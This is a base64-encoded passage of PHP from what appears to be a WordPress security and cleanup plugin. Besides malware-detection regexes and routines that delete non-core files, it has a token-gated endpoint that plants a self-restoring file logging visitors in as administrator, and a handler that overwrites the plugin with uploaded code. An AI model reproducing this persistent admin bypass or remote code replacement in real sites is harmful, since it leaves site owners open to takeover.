HRvdWNoZWQg4oCUIHRvbyBoaWdoIGZhbHNlLXBvc2l0aXZlIHJpc2suCiAgICAvLyBQYXNzIHRoZSBmaW5kaW5ncyBhcnJheSBmcm9tIGhhcmRlblNjYW5EQigpLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuQ2xlYW51cERCKGFycmF5ICRmaW5kaW5ncyk6IGFycmF5IHsKICAgICAgICAkY2xlYW5lZCA9IFtdOwoKICAgICAgICBmb3JlYWNoICgkZmluZGluZ3MgYXMgJGYpIHsKICAgICAgICAgICAgc3dpdGNoICgkZlsndHlwZSddKSB7CgogICAgICAgICAgICAgICAgY2FzZSAnY3Jvbic6CiAgICAgICAgICAgICAgICAgICAgLy8gd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2sgcmVtb3ZlcyBhbGwgc2NoZWR1bGVkIGluc3RhbmNlcyBvZiBhIGhvb2sKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2soKHN0cmluZykkZlsna2V5J10pOwogICAgICAgICAgICAgICAgICAgICRjbGVhbmVkW10gPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnY3JvbicsCiAgICAgICAgICAgICAgICAgICAgICAgICdrZXknICA9PiAkZlsna2V5J10sCiAgICAgICAgICAgICAgICAgICAgICAgICdvaycgICA9PiAoJHJlc3VsdCAhPT0gZmFsc2UpLAogICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAncGx1Z2luJzoKICAgICAgICAgICAgICAgICAgICAkc2x1ZyAgICAgICAgICA9IChzdHJpbmcpJGZbJ3ZhbHVlJ107CiAgICAgICAgICAgICAgICAgICAgJGFjdGl2ZVBsdWdpbnMgPSAoYXJyYXkpIGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJywgW10pOwogICAgICAgICAgICAgICAgICAgICRpZHggICAgICAgICAgID0gYXJyYXlfc2VhcmNoKCRzbHVnLCAkYWN0aXZlUGx1Z2lucywgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpZHggIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3NwbGljZSgkYWN0aXZlUGx1Z2lucywgKGludCkkaWR4LCAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkYWN0aXZlUGx1Z2lucyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIC8vIERlbGV0ZSB0aGUgcGh5c2ljYWwgcGx1Z2luIGZpbGUgaWYgaXQgZXhpc3RzCiAgICAgICAgICAgICAgICAgICAgJHBsdWdpbkZpbGUgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJHNsdWc7CiAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgICAgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBsdWdpbkZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkZWxldGVkID0gKGJvb2wpQHVubGluaygkcGx1Z2luRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXIgICAgID0gZGlybmFtZSgkcGx1Z2luRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcikgJiYgY291bnQoQHNjYW5kaXIoJGRpcikgPzogW10pIDw9IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBybWRpcigkZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkY2xlYW5lZFtdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAndHlwZScgICAgICAgID0+ICdwbHVnaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAna2V5JyAgICAgICAgID0+ICRzbHVnLAogICAgICAgICAgICAgICAgICAgICAgICAnZGVhY3RpdmF0ZWQnID0+ICgkaWR4ICE9PSBmYWxzZSksCiAgICAgICAgICAgICAgICAgICAgICAgICdkZWxldGVkJyAgICAgPT4gJGRlbGV0ZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdvaycgICAgICAgICAgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgIC8vICdvcHRpb24nIGFuZCAncG9zdCcgZmluZGluZ3MgYXJlIHJlcG9ydGVkIGJ1dCBub3QgYXV0by1jbGVhbmVkCiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiAkY2xlYW5lZDsKICAgIH0KCiAgICAvLyDilIDilIAgV1Agcm9vdCBub24tY29yZSBQSFAgY2xlYW51cCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFJlbW92ZXMgbm9uLVdQLWNvcmUgUEhQIGZpbGVzIGFuZCBub24tV1AtY29yZSBkaXJlY3RvcmllcyBmcm9tIEFCU1BBVEguCiAgICAvLyBUcmllcyB1bmxpbmsoKSBmaXJzdDsgZmFsbHMgYmFjayB0byBvdmVyd3JpdGluZyB3aXRoIGEgaGFybWxlc3Mgc3R1Yi4KICAgIC8vIEFsc28gcmVtb3ZlcyBub24tY29yZSBkaXJzIGVudGlyZWx5IChybWRpclJlY3Vyc2l2ZSkuCiAgICAvLyBSZXR1cm5zIHBlci1pdGVtIHN0YXR1cyBhcnJheXMuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBoYXJkZW5DbGVhbnVwUm9vdCgpOiBhcnJheSB7CiAgICAgICAgJHBocEV4dHMgPSBbJ3BocCcsJ3BocDMnLCdwaHA0JywncGhwNScsJ3BocDcnLCdwaHRtbCcsJ3BoYXInXTsKICAgICAgICAkcm9vdCAgICA9IHJ0cmltKEFCU1BBVEgsICcvXFwnKTsKICAgICAgICAkcmVzdWx0ICA9IFsKICAgICAgICAgICAgJ29rJyAgICAgICAgICAgICAgID0+IHRydWUsCiAgICAgICAgICAgICdkZXRlY3RlZF9maWxlcycgICA9PiBbXSwKICAgICAgICAgICAgJ2RldGVjdGVkX2RpcnMnICAgID0+IFtdLAogICAgICAgICAgICAnZGVsZXRlZCcgICAgICAgICAgPT4gW10sCiAgICAgICAgICAgICduZXV0cmFsaXplZCcgICAgICA9PiBbXSwKICAgICAgICAgICAgJ2RpcnNfcmVtb3ZlZCcgICAgID0+IFtdLAogICAgICAgICAgICAncGVybWlzc2lvbl9kZW5pZWQnPT4gW10sCiAgICAgICAgXTsKCiAgICAgICAgZm9yZWFjaCAoQHNjYW5kaXIoJHJvb3QpID86IFtdIGFzICRuYW1lKSB7CiAgICAgICAgICAgIGlmICgkbmFtZSA9PT0gJy4nIHx8ICRuYW1lID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgJGZ1bGwgPSAkcm9vdCAuICcvJyAuICRuYW1lOwoKICAgICAgICAgICAgLy8g4pSA4pSAIE5vbi1jb3JlIFBIUCBmaWxlcyBkaXJlY3RseSBpbiB3ZWJyb290IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZnVsbCkpIHsKICAgICAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJGV4dCwgJHBocEV4dHMsIHRydWUpIHx8IGluX2FycmF5KCRuYW1lLCBzZWxmOjokV1BfQ09SRV9ST09UX0ZJTEVTLCB0cnVlKSkgY29udGludWU7CgogICAgICAgICAgICAgICAgJHJlc3VsdFsnZGV0ZWN0ZWRfZmlsZXMnXVtdID0gJG5hbWU7CgogICAgICAgICAgICAgICAgaWYgKEB1bmxpbmsoJGZ1bGwpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsnZGVsZXRlZCddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRvbGQgPSB1bWFzaygwMTMzKTsKICAgICAgICAgICAgICAgICR3ICAgPSBAZmlsZV9wdXRfY29udGVudHMoJGZ1bGwsICI8P3BocCAvLyBuZXV0cmFsaXplZCBieSBTRVJWRVItV0FMTCAiIC4gZGF0ZSgnWS1tLWQnKSAuICJcbiIpOwogICAgICAgICAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgICAgICAgICBpZiAoJHcgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsnbmV1dHJhbGl6ZWQnXVtdID0gJG5hbWU7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcmVzdWx0WydwZXJtaXNzaW9uX2RlbmllZCddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyDilIDilIAgTm9uLWNvcmUgZGlyZWN0b3JpZXMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1bGwpICYmICFpbl9hcnJheSgkbmFtZSwgc2VsZjo6JFdQX0NPUkVfUk9PVF9ESVJTLCB0cnVlKSkgewogICAgICAgICAgICAgICAgJHJlc3VsdFsnZGV0ZWN0ZWRfZGlycyddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgIHNlbGY6OnJtZGlyUmVjdXJzaXZlKCRmdWxsKTsKICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRmdWxsKSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRbJ2RpcnNfcmVtb3ZlZCddW10gPSAkbmFtZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsncGVybWlzc2lvbl9kZW5pZWQnXVtdID0gJG5hbWUgLiAnLyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICRyZXN1bHRbJ29rJ10gPSBlbXB0eSgkcmVzdWx0WydwZXJtaXNzaW9uX2RlbmllZCddKQogICAgICAgICAgICB8fCAhZW1wdHkoJHJlc3VsdFsnZGVsZXRlZCddKSB8fCAhZW1wdHkoJHJlc3VsdFsnbmV1dHJhbGl6ZWQnXSkgfHwgIWVtcHR5KCRyZXN1bHRbJ2RpcnNfcmVtb3ZlZCddKTsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvLyDilIDilIAgRGVwbG95IGJhY2t1cC1sb2dpbiAoc3dfcmVjb3ZlcnkucGhwKSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFBPU1QgL3dwLWpzb24vc2VydmVyLXdhbGwvdjEvcmVjb3ZlcnktbG9naW4KICAgIC8vIEJvZHk6IHsiaGFzaCI6IjxzaGEyNTYtaGV4LTY0PiJ9CiAgICAvLyBXcml0ZXMgc3dfcmVjb3ZlcnkucGhwIHdpdGggdGhlIHByb3ZpZGVkIGhhc2ggZW1iZWRkZWQsIHRyaWVzIHdwLWFkbWluLyBmaXJzdC4KICAgIC8vIEFsc28gd3JpdGVzIC5zd3JlYyBzbyB0aGUgd2F0Y2hkb2cgY2FuIHJlc3RvcmUgc3dfcmVjb3ZlcnkucGhwIGlmIGRlbGV0ZWQuCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3REZXBsb3lSZWNvdmVyeUxvZ2luKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGhhc2ggPSAkYm9keVsnaGFzaCddID8/ICcnOwogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS1mMC05XXs2NH0kLycsICRoYXNoKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ludmFsaWQgaGFzaCDigJQgbXVzdCBiZSA2NCBoZXggY2hhcnMnXSwgNDAwKTsKICAgICAgICB9CgogICAgICAgICRwaHAgPSAiPD9waHBcbiIKICAgICAgICAgICAgIC4gIlwkdCA9IGlzc2V0KFwkX0dFVFsndCddKSA/IFwkX0dFVFsndCddIDogJyc7XG4iCiAgICAgICAgICAgICAuICJpZiAoIVwkdCB8fCAhaGFzaF9lcXVhbHMoJyIgLiAkaGFzaCAuICInLCBoYXNoKCdzaGEyNTYnLCBcJHQpKSkgeyBodHRwX3Jlc3BvbnNlX2NvZGUoNDA0KTsgZXhpdDsgfVxuIgogICAgICAgICAgICAgLiAiXCRkaXIgPSBfX0RJUl9fOyBcJHJvb3QgPSBudWxsO1xuIgogICAgICAgICAgICAgLiAiZm9yIChcJGkgPSAwOyBcJGkgPCA2OyBcJGkrKykgeyBpZiAoZmlsZV9leGlzdHMoXCRkaXIuJy93cC1jb25maWcucGhwJykpIHsgXCRyb290ID0gXCRkaXI7IGJyZWFrOyB9IFwkZGlyID0gZGlybmFtZShcJGRpcik7IH1cbiIKICAgICAgICAgICAgIC4gImlmICghXCRyb290KSBleGl0O1xuIgogICAgICAgICAgICAgLiAicmVxdWlyZV9vbmNlIFwkcm9vdC4nL3dwLWxvYWQucGhwJztcbiIKICAgICAgICAgICAgIC4gIlwkdXNlcnMgPSBnZXRfdXNlcnMoYXJyYXkoJ3JvbGUnPT4nYWRtaW5pc3RyYXRvcicsJ29yZGVyYnknPT4nSUQnLCdvcmRlcic9PidBU0MnLCdudW1iZXInPT4xKSk7XG4iCiAgICAgICAgICAgICAuICJpZiAoZW1wdHkoXCR1c2VycykpIGV4aXQ7XG4iCiAgICAgICAgICAgICAuICJ3cF9zZXRfYXV0aF9jb29raWUoXCR1c2Vyc1swXS0+SUQsIHRydWUpOyB3cF9yZWRpcmVjdChhZG1pbl91cmwoKSk7IGV4aXQ7XG4iOwoKICAgICAgICAvLyBUcnkgbG9jYXRpb25zIGluIG9yZGVyOiB3cC1hZG1pbi8gKGZpcnN0LCBtb3N0IHJlbGlhYmxlKSwgcm9vdCwgd3AtY29udGVudC8KICAgICAgICAkY2FuZGlkYXRlcyA9IFsKICAgICAgICAgICAgQUJTUEFUSCAuICd3cC1hZG1pbi9zd19yZWNvdmVyeS5waHAnLAogICAgICAgICAgICBBQlNQQVRIIC4gJ3N3X3JlY292ZXJ5LnBocCcsCiAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy9zd19yZWNvdmVyeS5waHAnLAogICAgICAgIF07CiAgICAgICAgJHdyaXR0ZW4gPSBudWxsOwogICAgICAgIGZvcmVhY2ggKCRjYW5kaWRhdGVzIGFzICRwKSB7CiAgICAgICAgICAgIGlmIChzZWxmOjpzYWZlV3JpdGUoJHAsICRwaHApKSB7CiAgICAgICAgICAgICAgICAkd3JpdHRlbiA9ICRwOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkd3JpdHRlbikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3dyaXRlIGZhaWxlZCDigJQgYWxsIGxvY2F0aW9ucyBibG9ja2VkJ10sIDUwMCk7CiAgICAgICAgfQoKICAgICAgICAvLyBXcml0ZSAuc3dyZWMgc28gd2F0Y2hkb2cgcmVzdG9yZXMgc3dfcmVjb3ZlcnkucGhwIGlmIGRlbGV0ZWQKICAgICAgICAkbXVEaXIgPSBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiAgICAgICAgJHN3cmVjID0ganNvbl9lbmNvZGUoWydwYXRoJyA9PiAkd3JpdHRlbiwgJ2NvbnRlbnQnID0+IGJhc2U2NF9lbmNvZGUoJHBocCldKTsKICAgICAgICBzZWxmOjpzYWZlV3JpdGUoJG11RGlyIC4gJy8uc3dyZWMnLCAkc3dyZWMpOwoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICR3cml0dGVuXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIFNlbGYtdXBkYXRlIHZpYSBhZG1pbi1wb3N0IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gQ2FsbGVkIGJ5IHRoZSBwYW5lbCB2aWEgUE9TVCAvd3AtYWRtaW4vYWRtaW4tcG9zdC5waHA/YWN0aW9uPXN3X3VwZGF0ZQogICAgLy8gd2hlbiBwbHVnaW4tYWN0aXZhdGlvbi1iYXNlZCBkZXBsb3kgaXMgYmxvY2tlZCBieSBXQUYvc2VjdXJpdHkgcGx1Z2lucy4KICAgIC8vIEF1dGg6IHJlcXVpcmVzIHZhbGlkIFdQIGFkbWluIHNlc3Npb24gKyBTV19QQU5FTF9UT0tFTiBpbiBQT1NUIGJvZHkuCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkbWluUG9zdFNlbGZVcGRhdGUoKTogdm9pZCB7CiAgICAgICAgaWYgKCFjdXJyZW50X3VzZXJfY2FuKCdtYW5hZ2Vfb3B0aW9ucycpKSB7CiAgICAgICAgICAgIHdwX2RpZSgnRm9yYmlkZGVuJywgJ0Vycm9yJywgWydyZXNwb25zZScgPT4gNDAzXSk7CiAgICAgICAgfQogICAgICAgICR0b2tlbiA9ICRfUE9TVFsnc3dfdG9rZW4nXSA/PyAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgd3BfZGllKCdGb3JiaWRkZW4nLCAnRXJyb3InLCBbJ3Jlc3BvbnNlJyA9PiA0MDNdKTsKICAgICAgICB9CiAgICAgICAgJGNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY29udGVudCddID8/ICcnLCB0cnVlKTsKICAgICAgICBpZiAoISRjb250ZW50IHx8IHN0cmxlbigkY29udGVudCkgPCAyMDApIHsKICAgICAgICAgICAgd3BfZGllKCdJbnZhbGlkIGNvbnRlbnQnLCAnRXJyb3InLCBbJ3Jlc3BvbnNlJyA9PiA0MDBdKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkY29udGVudCkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHdwX2RpZSgnV3JpdGUgZmFpbGVkIOKAlCBjaGVjayBmaWxlIHBlcm1pc3Npb25zJywgJ0Vycm9yJywgWydyZXNwb25zZScgPT4gNTAwXSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJ1NXX1VQREFURV9PSyc7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAvLyDilIDilIAgREIgQnJvd3NlciDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBkYkF1dGhDaGVjayhXUF9SRVNUX1JlcXVlc3QgJHIpOiBib29sIHsKICAgICAgICAkdG9rID0gJHItPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIHJldHVybiAkdG9rICYmIGhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rKTsKICAgIH0KCiAgICAvLyBTaGFyZWQgREIgc2NhbiBsb2dpYyB1c2VkIGJ5IHJ1blNjYW4oKSBhbmQgcmVzdERiU2NhbigpLgogICAgLy8gJHRpbWVCdWRnZXQ6IG1heCBzZWNvbmRzIHRvIHNwZW5kOyAwID0gbm8gbGltaXQgKHVzZSAxNXMgZGVmYXVsdCkuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBydW5EYlNjYW4oZmxvYXQgJHRpbWVCdWRnZXQgPSAxNSk6IGFycmF5IHsKICAgICAgICBnbG9iYWwgJHdwZGI7CiAgICAgICAgJGZpbmRpbmdzICA9IFtdOwogICAgICAgICRzdGFydCAgICAgPSBtaWNyb3RpbWUodHJ1ZSk7CiAgICAgICAgJGJ1ZGdldCAgICA9ICR0aW1lQnVkZ2V0ID4gMCA/ICR0aW1lQnVkZ2V0IDogMTU7CgogICAgICAgICRwb3N0UGF0dGVybnMgPSBbCiAgICAgICAgICAgICcvXGIo0LrQsNC30LjQvdC+fNC60LDQt9C40L3QvtGB0LDQudGCfGNhc2lub3xnYW1ibGluZ3xvbmxpbmVccytjYXNpbm98c2xvdHM/XHMrb25saW5lfHBva2VyXHMrb25saW5lfHNwb3J0cz9ccytiZXR0fDF4YmV0fGJldHdheXxiZXQzNjV8cm91bGV0dGV8YmxhY2tqYWNrXHMrYm9udXN8bW9zdGJldHxtZWxiZXQpXGIvaXUnCiAgICAgICAgICAgICAgICA9PiBbJ3NldicgPT4gJ0hJR0gnLCAnbGFiZWwnID0+ICdDYXNpbm8vZ2FtYmxpbmcgU0VPIHNwYW0nXSwKICAgICAgICAgICAgJy9cYihidXlccyt2aWFncmF8YnV5XHMrY2lhbGlzfGNoZWFwXHMrY2lhbGlzfG9ubGluZVxzK3BoYXJtYWN5fG9yZGVyXHMrcGlsbHN8Y2hlYXBccytkcnVnc3xsZXZpdHJhXHMrb25saW5lfGJ1eVxzK3RyYW1hZG9sfGJ1eVxzK3hhbmF4KVxiL2l1JwogICAgICAgICAgICAgICAgPT4gWydzZXYnID0+ICdISUdIJywgJ2xhYmVsJyA9PiAnUGhhcm1hIFNFTyBzcGFtJ10sCiAgICAgICAgICAgICcvKGRpc3BsYXlccyo6XHMqbm9uZXxmb250LXNpemVccyo6XHMqMFxzKig/OnB4KT98dmlzaWJpbGl0eVxzKjpccypoaWRkZW58cG9zaXRpb25ccyo6XHMqYWJzb2x1dGVbXiJcJzxdezAsODB9bGVmdFxzKjpccyotXGR7Myx9KS9pJwogICAgICAgICAgICAgICAgPT4gWydzZXYnID0+ICdNRURJVU0nLCAnbGFiZWwnID0+ICdIaWRkZW4gY29udGVudCAoU0VPIGNsb2FraW5nKSddLAogICAgICAgICAgICAnLzxzY3JpcHRbXj5dKj5bXHNcU117MCwyMDB9P2V2YWxccypcKC9pJwogICAgICAgICAgICAgICAgPT4gWydzZXYnID0+ICdDUklUSUNBTCcsICdsYWJlbCcgPT4gJ2V2YWwoKSBpbnNpZGUgPHNjcmlwdD4gaW4gY29udGVudCddLAogICAgICAgICAgICAnL2V2YWxccypcKFxzKig/OmJhc2U2NF9kZWNvZGV8Z3ppbmZsYXRlfHN0cl9yb3QxMylccypcKC9pJwogICAgICAgICAgICAgICAgPT4gWydzZXYnID0+ICdDUklUSUNBTCcsICdsYWJlbCcgPT4gJ09iZnVzY2F0ZWQgUEhQIGluIHBvc3QgY29udGVudCddLAogICAgICAgICAgICAnLzxpZnJhbWVbXj5dK3NyYz1bIlwnXWh0dHBzPzpcL1wvKD8hKD86d3d3XC4pPyg/OnlvdXR1YmV8eW91dHVcLmJlfHZpbWVvfG1hcHNcLmdvb2dsZXxnb29nbGVcLmNvbSkpL2knCiAgICAgICAgICAgICAgICA9PiBbJ3NldicgPT4gJ0hJR0gnLCAnbGFiZWwnID0+ICdTdXNwaWNpb3VzIGV4dGVybmFsIGlmcmFtZSddLAogICAgICAgICAgICAnL2RvY3VtZW50XC53cml0ZVxzKlwoXHMqdW5lc2NhcGVccypcKC9pJwogICAgICAgICAgICAgICAgPT4gWydzZXYnID0+ICdISUdIJywgJ2xhYmVsJyA9PiAnSlMgZG9jdW1lbnQud3JpdGUodW5lc2NhcGUpIGluamVjdGlvbiddLAogICAgICAgIF07CgogICAgICAgIC8vIDEuIFNjYW4gd3BfcG9zdHMgKHBvc3RzICsgcGFnZXMsIGFsbCBzdGF0dXNlcykKICAgICAgICAkdG90YWwgPSAoaW50KSR3cGRiLT5nZXRfdmFyKAogICAgICAgICAgICAiU0VMRUNUIENPVU5UKCopIEZST00geyR3cGRiLT5wb3N0c30KICAgICAgICAgICAgIFdIRVJFIHBvc3Rfc3RhdHVzIElOICgncHVibGlzaCcsJ2RyYWZ0JywncHJpdmF0ZScsJ3BlbmRpbmcnLCdmdXR1cmUnKQogICAgICAgICAgICAgICBBTkQgcG9zdF90eXBlIElOICgncG9zdCcsJ3BhZ2UnKQogICAgICAgICAgICAgICBBTkQgTEVOR1RIKHBvc3RfY29udGVudCkgPiAxMCIKICAgICAgICApOwogICAgICAgICRvZmZzZXQgICA9IDA7CiAgICAgICAgJGJhdGNoU3ogID0gMjAwOwogICAgICAgIHdoaWxlICgkb2Zmc2V0IDwgJHRvdGFsICYmIChtaWNyb3RpbWUodHJ1ZSkgLSAkc3RhcnQpIDwgJGJ1ZGdldCkgewogICAgICAgICAgICAkcm93cyA9ICR3cGRiLT5nZXRfcmVzdWx0cygkd3BkYi0+cHJlcGFyZSgKICAgICAgICAgICAgICAgICJTRUxFQ1QgSUQsIHBvc3RfdGl0bGUsIHBvc3RfdHlwZSwgcG9zdF9zdGF0dXMsCiAgICAgICAgICAgICAgICAgICAgICAgIExFRlQocG9zdF9jb250ZW50LDQwMDApIEFTIHBvc3RfY29udGVudAogICAgICAgICAgICAgICAgIEZST00geyR3cGRiLT5wb3N0c30KICAgICAgICAgICAgICAgICBXSEVSRSBwb3N0X3N0YXR1cyBJTiAoJ3B1Ymxpc2gnLCdkcmFmdCcsJ3ByaXZhdGUnLCdwZW5kaW5nJywnZnV0dXJlJykKICAgICAgICAgICAgICAgICAgIEFORCBwb3N0X3R5cGUgSU4gKCdwb3N0JywncGFnZScpCiAgICAgICAgICAgICAgICAgICBBTkQgTEVOR1RIKHBvc3RfY29udGVudCkgPiAxMAogICAgICAgICAgICAgICAgIExJTUlUICVkIE9GRlNFVCAlZCIsCiAgICAgICAgICAgICAgICAkYmF0Y2hTeiwgJG9mZnNldAogICAgICAgICAgICApLCBBUlJBWV9BKTsKICAgICAgICAgICAgZm9yZWFjaCAoKGFycmF5KSRyb3dzIGFzICRyb3cpIHsKICAgICAgICAgICAgICAgICRoYXkgPSAoJHJvd1sncG9zdF90aXRsZSddID8/ICcnKSAuICcgJyAuICgkcm93Wydwb3N0X2NvbnRlbnQnXSA/PyAnJyk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkcG9zdFBhdHRlcm5zIGFzICRwYXQgPT4gJG1ldGEpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoQHByZWdfbWF0Y2goJHBhdCwgJGhheSwgJG0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaW5kaW5nc1tdID0gWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NvdXJjZScgICA9PiAnZGInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3RhYmxlJyAgICA9PiAncG9zdHMnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2lkJyAgICAgICA9PiAoaW50KSRyb3dbJ0lEJ10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGl0bGUnICAgID0+IHdwX3N0cmlwX2FsbF90YWdzKCRyb3dbJ3Bvc3RfdGl0bGUnXSA/PyAnJyksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndHlwZScgICAgID0+ICRyb3dbJ3Bvc3RfdHlwZSddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgIC